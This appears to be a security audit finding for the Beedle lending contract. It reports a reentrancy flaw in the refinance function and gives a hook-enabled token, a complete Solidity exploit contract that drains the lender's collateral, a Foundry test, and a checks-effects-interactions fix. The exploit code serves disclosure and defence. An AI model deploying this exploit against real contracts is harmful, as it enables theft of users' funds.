Summary
Tokens allowing reentrant calls on transfer can be drained from a pool.
Vulnerability Details
Some tokens allow reentrant calls on transfer (e.g. ERC777
tokens).
Example of token with hook on transfer:
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}
This kind of token allows a re-entrancy attack in the refinance
function. When the new collateral
is less than the current loan collateral, the difference is sent to the borrower before updating the state.
File: Lender.Sol
L668: } else if (collateral < loan.collateral) {
IERC20(loan.collateralToken).transfer(
msg.sender,
loan.collateral - collateral
);
}
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L670
Impact
POC
An attacker can use the following exploit contract to drain the lender
contract:
File: Exploit1.sol
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit1 {
Lender lender;
address loanToken;
address collateralToken;
Refinance refinance;
constructor(Lender _lender, address _loanToken, address _collateralToken) {
lender = _lender;
loanToken = _loanToken;
collateralToken = _collateralToken;
}
function attack(bytes32 _poolId, uint256 _debt, uint256 _collateral, uint256 _loanId, uint256 _newCollateral) external {
ERC20(collateralToken).approve(address(lender), _collateral);
Borrow memory b = Borrow({
poolId: _poolId,
debt: _debt,
collateral: _collateral
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
refinance = Refinance({
loanId: _loanId,
poolId: _poolId,
debt: _debt,
collateral: _newCollateral
});
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = refinance;
lender.refinance(refinances);
ERC20(loanToken).transfer(msg.sender, ERC20(loanToken).balanceOf(address(this)));
ERC20(collateralToken).transfer(msg.sender, ERC20(collateralToken).balanceOf(address(this)));
}
function tokensReceived(address from, address , uint256 ) external {
require(msg.sender == collateralToken, "not collateral token");
if (from == address(lender)) {
uint256 lenderBalance = ERC20(collateralToken).balanceOf(address(lender));
if (lenderBalance > 0) {
Refinance[] memory refinances = new Refinance[](1);
if (lenderBalance >= amount) {
refinances[0] = refinance;
} else {
Refinance memory r = refinance;
r.collateral += amount - lenderBalance;
refinances[0] = r;
}
lender.refinance(refinances);
}
}
}
}
Here are the tests that can be added to Lender.t.sol
to illustrate the steps of an attacker:
function test_exploit() public {
address attacker = address(0x5);
vm.startPrank(lender1);
WeirdToken weirdToken = new WeirdToken(1_000_000*10**18);
weirdToken.transfer(address(lender), 900_000*10**18);
weirdToken.transfer(address(attacker), 100_000*10**18);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(weirdToken),
minLoanSize: 10*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
assertEq(weirdToken.balanceOf(address(lender)), 900_000*10**18);
assertEq(loanToken.balanceOf(address(lender)), 1_000*10**18);
assertEq(weirdToken.balanceOf(address(attacker)), 100_000*10**18);
assertEq(loanToken.balanceOf(address(attacker)), 0);
vm.startPrank(attacker);
Exploit1 attackContract = new Exploit1(lender, address(loanToken), address(weirdToken));
weirdToken.transfer(address(attackContract), 100_000*10**18);
uint256 debt = 10*10**18;
uint256 collateral = 100_000*10**18;
uint256 loanId = 0;
uint256 newCollateral = 10*10**18;
attackContract.attack(poolId, debt, collateral, loanId, newCollateral);
assertEq(weirdToken.balanceOf(address(lender)), 0);
assertLt(loanToken.balanceOf(address(lender)), 1_000*10**18);
assertEq(weirdToken.balanceOf(address(attacker)), 1_000_000*10**18);
assertGt(loanToken.balanceOf(address(attacker)), 0);
}
Tools Used
Manual review + Foundry
Recommendations
Follow the Checks - Effect - Interactions (CEI) pattern by updating the loan variables before transfering the funds AND use nonReentrant modifiers